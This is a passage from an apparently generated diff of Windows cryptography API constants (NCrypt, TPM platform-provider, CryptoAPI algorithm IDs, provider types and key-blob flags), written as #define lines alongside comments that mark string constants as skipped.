NCRYPT_KEY_TYPE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_VERSION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_SECURITY_DESCR_SUPPORT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_SECURITY_DESCR_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USE_COUNT_ENABLED_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USE_COUNT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_LAST_MODIFIED_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_MAX_NAME_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ALGORITHM_GROUP_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_DH_PARAMETERS_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ECC_PARAMETERS_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ECC_CURVE_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ECC_CURVE_NAME_LIST_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USE_VIRTUAL_ISOLATION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USE_PER_BOOT_KEY_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PROVIDER_HANDLE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_READER_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_SMARTCARD_GUID_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_CERTIFICATE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_PROMPT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USER_CERTSTORE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ROOT_CERTSTORE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_SECURE_PIN_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ASSOCIATED_ECDH_KEY: non-integer constant +// SKIPPED const NCRYPT_SCARD_PIN_ID: non-integer constant +// SKIPPED const NCRYPT_SCARD_PIN_INFO: non-integer constant +// SKIPPED const NCRYPT_READER_ICON_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_KDF_SECRET_VALUE: non-integer constant +// SKIPPED const NCRYPT_DISMISS_UI_TIMEOUT_SEC_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_VBS_ROOT_PUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_CERTIFICATE_FROM_NVRAM_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PARAMETER_SET_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_KEM_SHARED_SECRET_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_KEM_CIPHERTEXT_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORM_TYPE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PROVIDER_VERSION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_EKNVCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RSA_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RSA_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RSA_EKNVCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_ECC_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_ECC_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_ECC_EKNVCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_SRKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PCRTABLE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_CHANGEPASSWORD_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PASSWORD_REQUIRED_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_USAGEAUTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_MIGRATIONPASSWORD_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_EXPORT_ALLOWED_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_STORAGEPARENT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PROVIDERHANDLE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORMHANDLE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORM_BINDING_PCRMASK_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORM_BINDING_PCRDIGESTLIST_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORM_BINDING_PCRDIGEST_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_KEY_USAGE_POLICY_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RSA_SCHEME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM12_IDBINDING_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM12_IDBINDING_DYNAMIC_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM12_IDACTIVATION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_KEYATTESTATION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_ALTERNATE_KEY_STORAGE_LOCATION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORM_BINDING_PCRALGID_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_HMAC_AUTH_POLICYREF: non-integer constant +// SKIPPED const NCRYPT_PCP_HMAC_AUTH_POLICYINFO: non-integer constant +// SKIPPED const NCRYPT_PCP_HMAC_AUTH_NONCE: non-integer constant +// SKIPPED const NCRYPT_PCP_HMAC_AUTH_SIGNATURE: non-integer constant +// SKIPPED const NCRYPT_PCP_HMAC_AUTH_TICKET: non-integer constant +// SKIPPED const NCRYPT_PCP_NO_DA_PROTECTION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM_MANUFACTURER_ID_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM_FW_VERSION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM2BNAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM_VERSION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RAW_POLICYDIGEST_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_KEY_CREATIONHASH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_KEY_CREATIONTICKET_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RSA_SCHEME_HASH_ALG_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM_IFX_RSA_KEYGEN_PROHIBITED_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM_IFX_RSA_KEYGEN_VULNERABILITY_PROPERTY: non-integer constant +#define IFX_RSA_KEYGEN_VUL_NOT_AFFECTED 0x0 +#define IFX_RSA_KEYGEN_VUL_AFFECTED_LEVEL_1 0x1 +#define IFX_RSA_KEYGEN_VUL_AFFECTED_LEVEL_2 0x2 +// SKIPPED const NCRYPT_PCP_SESSIONID_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PSS_SALT_SIZE_PROPERTY: non-integer constant +#define NCRYPT_TPM_PSS_SALT_SIZE_UNKNOWN 0x0 +#define NCRYPT_TPM_PSS_SALT_SIZE_MAXIMUM 0x1 +#define NCRYPT_TPM_PSS_SALT_SIZE_HASHSIZE 0x2 +// SKIPPED const NCRYPT_PCP_INTERMEDIATE_CA_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PCRTABLE_ALGORITHM_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_SYMMETRIC_KEYBITS_PROPERTY: non-integer constant +#define NCRYPT_TPM_PAD_PSS_IGNORE_SALT 0x20 +#define NCRYPT_TPM12_PROVIDER 0x10000 +#define NCRYPT_PCP_SIGNATURE_KEY 0x1 +#define NCRYPT_PCP_ENCRYPTION_KEY 0x2 +#define NCRYPT_PCP_STORAGE_KEY 0x4 +#define NCRYPT_PCP_IDENTITY_KEY 0x8 +#define NCRYPT_PCP_HMACVERIFICATION_KEY 0x10 +// SKIPPED const NCRYPT_SCARD_NGC_KEY_NAME: non-integer constant +// SKIPPED const NCRYPT_PLUTON_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_RSA_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_RSA_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_ECC_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_ECC_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_SESSION_ID_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_KDF_PARENT_KEY_UNIQUE_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_KDF_PARAMS_BUFFER_DESC_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_INITIALIZATION_VECTOR: non-integer constant +// SKIPPED const NCRYPT_CHANGEPASSWORD_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ALTERNATE_KEY_STORAGE_LOCATION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_KEY_ACCESS_POLICY_PROPERTY: non-integer constant +#define NCRYPT_MAX_PROPERTY_NAME 0x40 +#define NCRYPT_MAX_PROPERTY_DATA 0x100000 +#define NCRYPT_ALLOW_EXPORT_FLAG 0x1 +#define NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG 0x2 +#define NCRYPT_ALLOW_ARCHIVING_FLAG 0x4 +#define NCRYPT_ALLOW_PLAINTEXT_ARCHIVING_FLAG 0x8 +#define NCRYPT_ALLOW_PKCS11_RSA_AES_EXPORT_FLAG 0x10 +#define NCRYPT_IMPL_HARDWARE_FLAG 0x1 +#define NCRYPT_IMPL_SOFTWARE_FLAG 0x2 +#define NCRYPT_IMPL_REMOVABLE_FLAG 0x8 +#define NCRYPT_IMPL_HARDWARE_RNG_FLAG 0x10 +#define NCRYPT_IMPL_VIRTUAL_ISOLATION_FLAG 0x20 +#define NCRYPT_ALLOW_DECRYPT_FLAG 0x1 +#define NCRYPT_ALLOW_SIGNING_FLAG 0x2 +#define NCRYPT_ALLOW_KEY_AGREEMENT_FLAG 0x4 +#define NCRYPT_ALLOW_KEY_ENVELOPE_FLAG 0x8 +#define NCRYPT_ALLOW_KEY_IMPORT_FLAG 0x8 +#define NCRYPT_ALLOW_KEY_ATTESTATION_FLAG 0x10 +#define NCRYPT_ALLOW_KEY_IMPORT_EPHEMERAL_FLAG 0x20 +#define NCRYPT_ALLOW_ALL_USAGES 0xffffff +#define NCRYPT_UI_PROTECT_KEY_FLAG 0x1 +#define NCRYPT_UI_FORCE_HIGH_PROTECTION_FLAG 0x2 +#define NCRYPT_UI_FINGERPRINT_PROTECTION_FLAG 0x4 +#define NCRYPT_UI_APPCONTAINER_ACCESS_MEDIUM_FLAG 0x8 +// SKIPPED const NCRYPT_PIN_CACHE_FREE_APPLICATION_TICKET_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_CACHE_FLAGS_PROPERTY: non-integer constant +#define NCRYPT_PIN_CACHE_DISABLE_DPL_FLAG 0x1 +// SKIPPED const NCRYPT_PIN_CACHE_APPLICATION_TICKET_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_CACHE_APPLICATION_IMAGE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_CACHE_APPLICATION_STATUS_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_CACHE_PIN_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_CACHE_IS_GESTURE_REQUIRED_PROPERTY: non-integer constant +#define NCRYPT_PIN_CACHE_REQUIRE_GESTURE_FLAG 0x1 +#define NCRYPT_PIN_CACHE_APPLICATION_TICKET_BYTE_LENGTH 0x5a +// SKIPPED const NCRYPT_PIN_CACHE_CLEAR_PROPERTY: non-integer constant +#define NCRYPT_PIN_CACHE_CLEAR_FOR_CALLING_PROCESS_OPTION 0x1 +#define NCRYPT_KEY_ACCESS_POLICY_VERSION 0x1 +#define NCRYPT_ALLOW_SILENT_KEY_ACCESS 0x1 +#define NCRYPT_CIPHER_KEY_BLOB_MAGIC 0x52485043 +#define NCRYPT_KDF_KEY_BLOB_MAGIC 0x3146444b +#define NCRYPT_PROTECTED_KEY_BLOB_MAGIC 0x4b545250 +// SKIPPED const NCRYPT_CIPHER_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_KDF_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_PROTECTED_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_TPM_LOADABLE_KEY_BLOB: non-integer constant +#define NCRYPT_TPM_LOADABLE_KEY_BLOB_MAGIC 0x4d54504b +// SKIPPED const NCRYPT_TPM_PERSISTENT_KEY_BLOB: non-integer constant +#define NCRYPT_TPM_PERSISTENT_KEY_BLOB_MAGIC 0x4d54504b +// SKIPPED const NCRYPT_PKCS7_ENVELOPE_BLOB: non-integer constant +// SKIPPED const NCRYPT_PKCS8_PRIVATE_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_OPAQUETRANSPORT_BLOB: non-integer constant +// SKIPPED const NCRYPT_ISOLATED_KEY_ENVELOPE_BLOB: non-integer constant +#define NCRYPT_PQ_PRIVATE_BLOB_MAGIC 0x52505150 +// SKIPPED const NCRYPT_PQ_PRIVATE_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_PQ_PUBLIC_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_DESCR_DELIMITER_OR: non-integer constant +// SKIPPED const NCRYPT_DESCR_DELIMITER_AND: non-integer constant +// SKIPPED const NCRYPT_DESCR_EQUAL: non-integer constant +// SKIPPED const MS_KEY_PROTECTION_PROVIDER: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_SID: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_LOCAL: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_LOCAL_LOGON: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_LOCAL_USER: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_LOCAL_MACHINE: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_SDDL: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_WEBCREDENTIALS: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_LOCKEDCREDENTIALS: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_CERTIFICATE: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_CERT_HASHID: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_CERT_CERTBLOB: non-integer constant +#define NCRYPT_NAMED_DESCRIPTOR_FLAG 0x1 +#define NCRYPT_PROTECTION_INFO_TYPE_DESCRIPTOR_STRING 0x1 +#define ALG_CLASS_ANY 0x0 +#define ALG_CLASS_SIGNATURE 0x2000 +#define ALG_CLASS_MSG_ENCRYPT 0x4000 +#define ALG_CLASS_DATA_ENCRYPT 0x6000 +#define ALG_CLASS_HASH 0x8000 +#define ALG_CLASS_KEY_EXCHANGE 0xa000 +#define ALG_CLASS_ALL 0xe000 +#define ALG_TYPE_ANY 0x0 +#define ALG_TYPE_DSS 0x200 +#define ALG_TYPE_RSA 0x400 +#define ALG_TYPE_BLOCK 0x600 +#define ALG_TYPE_STREAM 0x800 +#define ALG_TYPE_DH 0xa00 +#define ALG_TYPE_SECURECHANNEL 0xc00 +#define ALG_TYPE_ECDH 0xe00 +#define ALG_TYPE_THIRDPARTY 0x1000 +#define ALG_SID_ANY 0x0 +#define ALG_SID_THIRDPARTY_ANY 0x0 +#define ALG_SID_RSA_ANY 0x0 +#define ALG_SID_RSA_PKCS 0x1 +#define ALG_SID_RSA_MSATWORK 0x2 +#define ALG_SID_RSA_ENTRUST 0x3 +#define ALG_SID_RSA_PGP 0x4 +#define ALG_SID_DSS_ANY 0x0 +#define ALG_SID_DSS_PKCS 0x1 +#define ALG_SID_DSS_DMS 0x2 +#define ALG_SID_ECDSA 0x3 +#define ALG_SID_DES 0x1 +#define ALG_SID_3DES 0x3 +#define ALG_SID_DESX 0x4 +#define ALG_SID_IDEA 0x5 +#define ALG_SID_CAST 0x6 +#define ALG_SID_SAFERSK64 0x7 +#define ALG_SID_SAFERSK128 0x8 +#define ALG_SID_3DES_112 0x9 +#define ALG_SID_CYLINK_MEK 0xc +#define ALG_SID_RC5 0xd +#define ALG_SID_AES_128 0xe +#define ALG_SID_AES_192 0xf +#define ALG_SID_AES_256 0x10 +#define ALG_SID_AES 0x11 +#define ALG_SID_SKIPJACK 0xa +#define ALG_SID_TEK 0xb +#define CRYPT_MODE_CBCI 0x6 +#define CRYPT_MODE_CFBP 0x7 +#define CRYPT_MODE_OFBP 0x8 +#define CRYPT_MODE_CBCOFM 0x9 +#define CRYPT_MODE_CBCOFMI 0xa +#define ALG_SID_RC2 0x2 +#define ALG_SID_RC4 0x1 +#define ALG_SID_SEAL 0x2 +#define ALG_SID_DH_SANDF 0x1 +#define ALG_SID_DH_EPHEM 0x2 +#define ALG_SID_AGREED_KEY_ANY 0x3 +#define ALG_SID_KEA 0x4 +#define ALG_SID_ECDH 0x5 +#define ALG_SID_ECDH_EPHEM 0x6 +#define ALG_SID_MD2 0x1 +#define ALG_SID_MD4 0x2 +#define ALG_SID_MD5 0x3 +#define ALG_SID_SHA 0x4 +#define ALG_SID_SHA1 0x4 +#define ALG_SID_MAC 0x5 +#define ALG_SID_RIPEMD 0x6 +#define ALG_SID_RIPEMD160 0x7 +#define ALG_SID_SSL3SHAMD5 0x8 +#define ALG_SID_HMAC 0x9 +#define ALG_SID_TLS1PRF 0xa +#define ALG_SID_HASH_REPLACE_OWF 0xb +#define ALG_SID_SHA_256 0xc +#define ALG_SID_SHA_384 0xd +#define ALG_SID_SHA_512 0xe +#define ALG_SID_SSL3_MASTER 0x1 +#define ALG_SID_SCHANNEL_MASTER_HASH 0x2 +#define ALG_SID_SCHANNEL_MAC_KEY 0x3 +#define ALG_SID_PCT1_MASTER 0x4 +#define ALG_SID_SSL2_MASTER 0x5 +#define ALG_SID_TLS1_MASTER 0x6 +#define ALG_SID_SCHANNEL_ENC_KEY 0x7 +#define ALG_SID_ECMQV 0x1 +#define ALG_SID_EXAMPLE 0x50 +#define SIGNATURE_RESOURCE_NUMBER 0x29a +#define CRYPT_VERIFYCONTEXT 0xf0000000 +#define CRYPT_NEWKEYSET 0x8 +#define CRYPT_DELETEKEYSET 0x10 +#define CRYPT_SILENT 0x40 +#define CRYPT_DEFAULT_CONTAINER_OPTIONAL 0x80 +#define CRYPT_UPDATE_KEY 0x8 +#define CRYPT_USER_PROTECTED_STRONG 0x100000 +#define RSA1024BIT_KEY 0x4000000 +#define CRYPT_SERVER 0x400 +#define KEY_LENGTH_MASK 0xffff0000 +#define CRYPT_DECRYPT_RSA_NO_PADDING_CHECK 0x20 +#define CRYPT_SECRETDIGEST 0x1 +#define CRYPT_OWF_REPL_LM_HASH 0x1 +#define CRYPT_LITTLE_ENDIAN 0x1 +#define CRYPT_NOHASHOID 0x1 +#define CRYPT_TYPE2_FORMAT 0x2 +#define CRYPT_X931_FORMAT 0x4 +#define CRYPT_MACHINE_DEFAULT 0x1 +#define CRYPT_USER_DEFAULT 0x2 +#define CRYPT_DELETE_DEFAULT 0x4 +#define SIMPLEBLOB 0x1 +#define PUBLICKEYBLOB 0x6 +#define PRIVATEKEYBLOB 0x7 +#define PLAINTEXTKEYBLOB 0x8 +#define OPAQUEKEYBLOB 0x9 +#define PUBLICKEYBLOBEX 0xa +#define SYMMETRICWRAPKEYBLOB 0xb +#define KEYSTATEBLOB 0xc +#define CRYPT_USERDATA 0x1 +#define KP_IV 0x1 +#define KP_PADDING 0x3 +#define KP_MODE 0x4 +#define KP_MODE_BITS 0x5 +#define KP_P 0xb +#define KP_G 0xc +#define KP_Q 0xd +#define KP_X 0xe +#define KP_Y 0xf +#define KP_RA 0x10 +#define KP_RB 0x11 +#define KP_INFO 0x12 +#define KP_EFFECTIVE_KEYLEN 0x13 +#define KP_SCHANNEL_ALG 0x14 +#define KP_CLIENT_RANDOM 0x15 +#define KP_SERVER_RANDOM 0x16 +#define KP_RP 0x17 +#define KP_PRECOMP_MD5 0x18 +#define KP_PRECOMP_SHA 0x19 +#define KP_CLEAR_KEY 0x1b +#define KP_PUB_EX_LEN 0x1c +#define KP_PUB_EX_VAL 0x1d +#define KP_KEYVAL 0x1e +#define KP_ADMIN_PIN 0x1f +#define KP_KEYEXCHANGE_PIN 0x20 +#define KP_SIGNATURE_PIN 0x21 +#define KP_PREHASH 0x22 +#define KP_ROUNDS 0x23 +#define KP_OAEP_PARAMS 0x24 +#define KP_CMS_KEY_INFO 0x25 +#define KP_CMS_DH_KEY_INFO 0x26 +#define KP_PUB_PARAMS 0x27 +#define KP_VERIFY_PARAMS 0x28 +#define KP_HIGHEST_VERSION 0x29 +#define KP_PIN_ID 0x2b +#define KP_PIN_INFO 0x2c +#define PKCS5_PADDING 0x1 +#define RANDOM_PADDING 0x2 +#define ZERO_PADDING 0x3 +#define CRYPT_MODE_CBC 0x1 +#define CRYPT_MODE_ECB 0x2 +#define CRYPT_MODE_OFB 0x3 +#define CRYPT_MODE_CFB 0x4 +#define CRYPT_MODE_CTS 0x5 +#define CRYPT_ENCRYPT 0x1 +#define CRYPT_DECRYPT 0x2 +#define CRYPT_EXPORT 0x4 +#define CRYPT_READ 0x8 +#define CRYPT_WRITE 0x10 +#define CRYPT_MAC 0x20 +#define CRYPT_EXPORT_KEY 0x40 +#define CRYPT_IMPORT_KEY 0x80 +#define CRYPT_ARCHIVE 0x100 +#define HP_ALGID 0x1 +#define HP_HASHSIZE 0x4 +#define HP_TLS1PRF_LABEL 0x6 +#define HP_TLS1PRF_SEED 0x7 +#define CRYPT_FAILED 0x0 +#define CRYPT_SUCCEED 0x1 +#define PP_ENUMALGS 0x1 +#define PP_ENUMCONTAINERS 0x2 +#define PP_IMPTYPE 0x3 +#define PP_NAME 0x4 +#define PP_VERSION 0x5 +#define PP_CONTAINER 0x6 +#define PP_CHANGE_PASSWORD 0x7 +#define PP_CERTCHAIN 0x9 +#define PP_KEY_TYPE_SUBTYPE 0xa +#define PP_PROVTYPE 0x10 +#define PP_KEYSTORAGE 0x11 +#define PP_APPLI_CERT 0x12 +#define PP_SYM_KEYSIZE 0x13 +#define PP_SESSION_KEYSIZE 0x14 +#define PP_ENUMALGS_EX 0x16 +#define PP_ENUMMANDROOTS 0x19 +#define PP_ENUMELECTROOTS 0x1a +#define PP_KEYSET_TYPE 0x1b +#define PP_ADMIN_PIN 0x1f +#define PP_SIG_KEYSIZE_INC 0x22 +#define PP_KEYX_KEYSIZE_INC 0x23 +#define PP_UNIQUE_CONTAINER 0x24 +#define PP_SGC_INFO 0x25 +#define PP_KEYSPEC 0x27 +#define PP_ENUMEX_SIGNING_PROT 0x28 +#define PP_CRYPT_COUNT_KEY_USE 0x29 +#define PP_SMARTCARD_GUID 0x2d +#define PP_SMARTCARD_READER_ICON 0x2f +#define CRYPT_FIRST 0x1 +#define CRYPT_NEXT 0x2 +#define CRYPT_SGC_ENUM 0x4 +#define CRYPT_IMPL_HARDWARE 0x1 +#define CRYPT_IMPL_SOFTWARE 0x2 +#define CRYPT_IMPL_MIXED 0x3 +#define CRYPT_IMPL_UNKNOWN 0x4 +#define CRYPT_IMPL_REMOVABLE 0x8 +#define CRYPT_SEC_DESCR 0x1 +#define CRYPT_PSTORE 0x2 +#define CRYPT_UI_PROMPT 0x4 +#define CRYPT_FLAG_PCT1 0x1 +#define CRYPT_FLAG_SSL2 0x2 +#define CRYPT_FLAG_SSL3 0x4 +#define CRYPT_FLAG_TLS1 0x8 +#define CRYPT_FLAG_IPSEC 0x10 +#define CRYPT_FLAG_SIGNING 0x20 +#define CRYPT_SGC 0x1 +#define CRYPT_FASTSGC 0x2 +#define PP_CONTEXT_INFO 0xb +#define PP_DISMISS_PIN_UI_SEC 0x31 +#define PP_IS_PFX_EPHEMERAL 0x32 +#define PROV_RSA_FULL 0x1 +#define PROV_RSA_SIG 0x2 +#define PROV_DSS 0x3 +#define PROV_FORTEZZA 0x4 +#define PROV_MS_EXCHANGE 0x5 +#define PROV_SSL 0x6 +#define PROV_RSA_SCHANNEL 0xc +#define PROV_DSS_DH 0xd +#define PROV_EC_ECDSA_SIG 0xe +#define PROV_EC_ECNRA_SIG 0xf +#define PROV_EC_ECDSA_FULL 0x10 +#define PROV_EC_ECNRA_FULL 0x11 +#define PROV_DH_SCHANNEL 0x12 +#define PROV_SPYRUS_LYNKS 0x14 +#define PROV_RNG 0x15 +#define PROV_INTEL_SEC 0x16 +#define PROV_REPLACE_OWF 0x17 +#define PROV_RSA_AES 0x18 +#define PROV_STT_MER 0x7 +#define PROV_STT_ACQ 0x8 +#define PROV_STT_BRND 0x9 +#define PROV_STT_ROOT 0xa +#define PROV_STT_ISS 0xb +// SKIPPED const MS_DEF_PROV_A: non-integer constant +// SKIPPED const MS_DEF_PROV_W: non-integer constant +// SKIPPED const MS_DEF_PROV: non-integer constant +// SKIPPED const MS_ENHANCED_PROV_A: non-integer constant +// SKIPPED const MS_ENHANCED_PROV_W: non-integer constant +// SKIPPED const MS_ENHANCED_PROV: non-integer constant +// SKIPPED const MS_STRONG_PROV_A: non-integer constant +// SKIPPED const MS_STRONG_PROV_W: non-integer constant +// SKIPPED const MS_STRONG_PROV: non-integer constant +// SKIPPED const MS_DEF_RSA_SIG_PROV_A: non-integer constant +// SKIPPED const MS_DEF_RSA_SIG_PROV_W: non-integer constant +// SKIPPED const MS_DEF_RSA_SIG_PROV: non-integer constant +// SKIPPED const MS_DEF_RSA_SCHANNEL_PROV_A: non-integer constant +// SKIPPED const MS_DEF_RSA_SCHANNEL_PROV_W: non-integer constant +// SKIPPED const MS_DEF_RSA_SCHANNEL_PROV: non-integer constant +// SKIPPED const MS_DEF_DSS_PROV_A: non-integer constant +// SKIPPED const MS_DEF_DSS_PROV_W: non-integer constant +// SKIPPED const MS_DEF_DSS_PROV: non-integer constant +// SKIPPED const MS_DEF_DSS_DH_PROV_A: non-integer constant +// SKIPPED const MS_DEF_DSS_DH_PROV_W: non-integer constant +// SKIPPED const MS_DEF_DSS_DH_PROV: non-integer constant +// SKIPPED const MS_ENH_DSS_DH_PROV_A: non-integer constant +// SKIPPED const MS_ENH_DSS_DH_PROV_W: non-integer constant +// SKIPPED const MS_ENH_DSS_DH_PROV: non-integer constant +// SKIPPED const MS_DEF_DH_SCHANNEL_PROV_A: non-integer constant +// SKIPPED const MS_DEF_DH_SCHANNEL_PROV_W: non-integer constant +// SKIPPED const MS_DEF_DH_SCHANNEL_PROV: non-integer constant +// SKIPPED const MS_SCARD_PROV_A: non-integer constant +// SKIPPED const MS_SCARD_PROV_W: non-integer constant +// SKIPPED const MS_SCARD_PROV: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV_A: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV_W: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV_XP_A: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV_XP_W: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV_XP: non-integer constant +// SKIPPED const MS_ENH_RSA_AES_PROV: non-integer constant +#define MAXUIDLEN 0x40 +// SKIPPED const EXPO_OFFLOAD_REG_VALUE: non-integer constant +// SKIPPED const EXPO_OFFLOAD_FUNC_NAME: non-integer constant +// SKIPPED const szKEY_CRYPTOAPI_PRIVATE_KEY_OPTIONS: non-integer constant +// SKIPPED const szKEY_CACHE_ENABLED: non-integer constant +// SKIPPED const szKEY_CACHE_SECONDS: non-integer constant +// SKIPPED const szPRIV_KEY_CACHE_MAX_ITEMS: non-integer constant +#define cPRIV_KEY_CACHE_MAX_ITEMS_DEFAULT 0x14 +// SKIPPED const szPRIV_KEY_CACHE_PURGE_INTERVAL_SECONDS: non-integer constant +#define cPRIV_KEY_CACHE_PURGE_INTERVAL_SECONDS_DEFAULT 0x15180 +#define CUR_BLOB_VERSION 0x2 +#define SCHANNEL_MAC_KEY 0x0 +#define SCHANNEL_ENC_KEY 0x1 +#define INTERNATIONAL_USAGE 0x1 +// SKIPPED const szOID_RSA: non-integer constant +// SKIPPED const szOID_PKCS: non-integer constant +// SKIPPED const szOID_RSA_HASH: non-integer constant +// SKIPPED const szOID_RSA_ENCRYPT: non-integer constant +// SKIPPED const szOID_PKCS_1: non-integer constant +// SKIPPED const szOID_PKCS_2: non-integer constant +// SKIPPED const szOID_PKCS_3: non-integer constant +// SKIPPED const szOID_PKCS_4: non-integer constant +// SKIPPED const szOID_PKCS_5: non-integer constant +// SKIPPED const szOID_PKCS_6: non-integer constant +// SKIPPED const szOID_PKCS_7: non-integer constant +// SKIPPED const szOID_PKCS_8: non-integer constant +// SKIPPED const szOID_PKCS_9: non-integer constant +// SKIPPED const szOID_PKCS_10: non-integer constant +// 